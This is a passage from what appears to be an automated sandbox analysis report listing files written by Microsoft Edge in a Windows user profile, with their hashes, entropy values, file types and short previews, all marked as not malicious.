Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374685655739720","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374685655739720","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10624637611281888
Encrypted:	false
SSDEEP:	12:Jnth5nthvEpEjVl/PnnnnnnnnnnnnvoQtEoxu:Jnth5nthvgoPnnnnnnnnnnnnvHj
MD5:	13FFF8D96676D4CE234721901089D7E6
SHA1:	AA73C6FA07E45F9317EB1E43885BA3D2D776CEBF
SHA-256:	7E8EF7A6268F3431BE154EF5A29871D7E96DA5DB88C5097175B4A2A1F3A38A0D
SHA-512:	F86955273E68189353D394450B72B2925FAC359EB0B6D1AC807D8AF98FB4C7ECD3862B28BA36CF235371B422D175F2501C4CE672A1151311D6F96F0450F42062
Malicious:	false
Preview:	..-.............Q.........\..v$J...V..d.k..p...-.............Q.........\..v$J...V..d.k..p.........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9337233209892484
Encrypted:	false
SSDEEP:	384:TmdT9kfShzTP4yj34yB+cyNyS8ysyUEysxyWB:T4i7
MD5:	C498EB9043984BF2EEDFF6B95293D088
SHA1:	CC1CA0B90E53E42AABF039E4A1A1A1BD9B2C5D1D
SHA-256:	03E4978773F46FB2A7788CBCFE63C1A6B05733641AB14ADE5F501C16A5AE48D7
SHA-512:	FC20D7EE5750B4297695D49211AA1DA559032D00DAEB807CA925966475E55E18F92F96E12B14D51377E6E77734094F7D0352170ED41685C0B456517E64FE69BC
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5386014222645072
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuu0ZllnnKgs8r:pHayMln7N
MD5:	EFF22C1C59E4CFA2F1B559883030CF54
SHA1:	DA944F48B8D4A63DF33218B0E78FE9A7133077EB
SHA-256:	A69D6FD40C9A94EC362CE36CD647D5C5541833C3BAA484A67FEEDD560A4CC91B
SHA-512:	4A7A17B559E206F289407C4F9CC97743BEE11F7973B2599E77E6932F057EBE438D2B5B47789F2AC31572D4688238C3540F95791D1BB10E9A461A76010D70D586
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............bo.3;...............#38_h.......6.Z..W.F.....1.......1...........V.e................V.e.................;..0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.241267092808536
Encrypted:	false
SSDEEP:	6:Pw4Iq2PN723oH+TcwtfrK+IFUt8cwh9Zmw+cwhPkwON723oH+TcwtfrUeLJ:IZvVaYeb23FUt893/+9l5OaYeb3J
MD5:	98B459827D04A53691722EA26C80E8CC
SHA1:	E2277824EC55441EFC4D530656A753EB975A26ED
SHA-256:	0BC6AF7CBB42EA88E874EE1AA410680CC09DB2A0E1EAA09110E755306796493D
SHA-512:	E34A68BFB95A17D2F1F904A8DE31C8D9483D3EFA16B0946115EFAEF46EEB95CF50C3208E126C27079CB479818C50FC940CB26874388972BCD30D9D37A56B4268
Malicious:	false
Preview:	2024/10/29-10:27:36.525 ff4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/29-10:27:36.526 ff4 Recovering log #3.2024/10/29-10:27:36.526 ff4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.241267092808536
Encrypted:	false
SSDEEP:	6:Pw4Iq2PN723oH+TcwtfrK+IFUt8cwh9Zmw+cwhPkwON723oH+TcwtfrUeLJ:IZvVaYeb23FUt893/+9l5OaYeb3J
MD5:	98B459827D04A53691722EA26C80E8CC
SHA1:	E2277824EC55441EFC4D530656A753EB975A26ED
SHA-256:	0BC6AF7CBB42EA88E874EE1AA410680CC09DB2A0E1EAA09110E755306796493D
SHA-512:	E34A68BFB95A17D2F1F904A8DE31C8D9483D3EFA16B0946115EFAEF46EEB95CF50C3208E126C27079CB479818C50FC940CB26874388972BCD30D9D37A56B4268
Malicious:	false
Preview:	2024/10/29-10:27:36.525 ff4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/29-10:27:36.526 ff4 Recovering log #3.2024/10/29-10:27:36.526 ff4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	343
Entropy (8bit):	5.218073653703118
Encrypted:	false
SSDEEP:	6:Pw6q2PN723oH+TcwtfrzAdIFUt8cw2Zmw+cwKkwON723oH+TcwtfrzILJ:I6vVaYeb9FUt892/+9K5OaYeb2J
MD5:	67D95712861BDAC82EE65D7E522E12C0
SHA1:	3E3E78F8E0B402F33AC38B13F2E1D8FAFF400013
SHA-256:	26F068A8B6B64AE7EB1FA9AC1A2C43FC28A1D97502A5AB51169D83555115DF84
SHA-512:	1C99A44E34686BB52432F132D1F9930F5E40F4E73A3189829200420AFE6B67D8239815F13F8ED641C92855CE2AEB7EB4DC0268A12AA10DD0EC8826602C893F86
Malicious:	false
Preview:	2024/10/29-10:27:36.522 ff4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/29-10:27:36.523 ff4 Recovering log #3.2024/10/29-10:27:36.523 ff4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	343
Entropy (8bit):	5.218073653703118
Encrypted:	false
SSDEEP:	6:Pw6q2PN723oH+TcwtfrzAdIFUt8cw2Zmw+cwKkwON723oH+TcwtfrzILJ:I6vVaYeb9FUt892/+9K5OaYeb2J
MD5:	67D95712861BDAC82EE65D7E522E12C0
SHA1:	3E3E78F8E0B402F33AC38B13F2E1D8FAFF400013
SHA-256:	26F068A8B6B64AE7EB1FA9AC1A2C43FC28A1D97502A5AB51169D83555115DF84
SHA-512:	1C99A44E34686BB52432F132D1F9930F5E40F4E73A3189829200420AFE6B67D8239815F13F8ED641C92855CE2AEB7EB4DC0268A12AA10DD0EC8826602C893F86
Malicious:	false
Preview:	2024/10/29-10:27:36.522 ff4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/29-10:27:36.523 ff4 Recovering log #3.2024/10/29-10:27:36.523 ff4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089814985112276
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWEdi1zNtPMLkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynsIkzItSmd6qE7lFoC
MD5:	0AEE37BE52317F3918355B30704DBFD0
SHA1:	C2551C204226E4CFD932DA3B856281DA04515700
SHA-256:	A6FEC2FC8608E1E7C0C87F3525C2E2035CFF170EF27CB7FB058AF13C6628D221
SHA-512:	624369E63B9B6FAD4EA5E28A462010584C87575AEE00A7320E3BDF85C4C8F7B0946094A95779B488D4839820E4A8C54C08D3382F6C3E3578ADC35B89B8C68DD9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c90e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089814985112276
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWEdi1zNtPMLkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynsIkzItSmd6qE7lFoC
MD5:	0AEE37BE52317F3918355B30704DBFD0
SHA1:	C2551C204226E4CFD932DA3B856281DA04515700
SHA-256:	A6FEC2FC8608E1E7C0C87F3525C2E2035CFF170EF27CB7FB058AF13C6628D221
SHA-512:	624369E63B9B6FAD4EA5E28A462010584C87575AEE00A7320E3BDF85C4C8F7B0946094A95779B488D4839820E4A8C54C08D3382F6C3E3578ADC35B89B8C68DD9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c92d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089814985112276
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWEdi1zNtPMLkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynsIkzItSmd6qE7lFoC
MD5:	0AEE37BE52317F3918355B30704DBFD0
SHA1:	C2551C204226E4CFD932DA3B856281DA04515700
SHA-256:	A6FEC2FC8608E1E7C0C87F3525C2E2035CFF170EF27CB7FB058AF13C6628D221
SHA-512:	624369E63B9B6FAD4EA5E28A462010584C87575AEE00A7320E3BDF85C4C8F7B0946094A95779B488D4839820E4A8C54C08D3382F6C3E3578ADC35B89B8C68DD9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
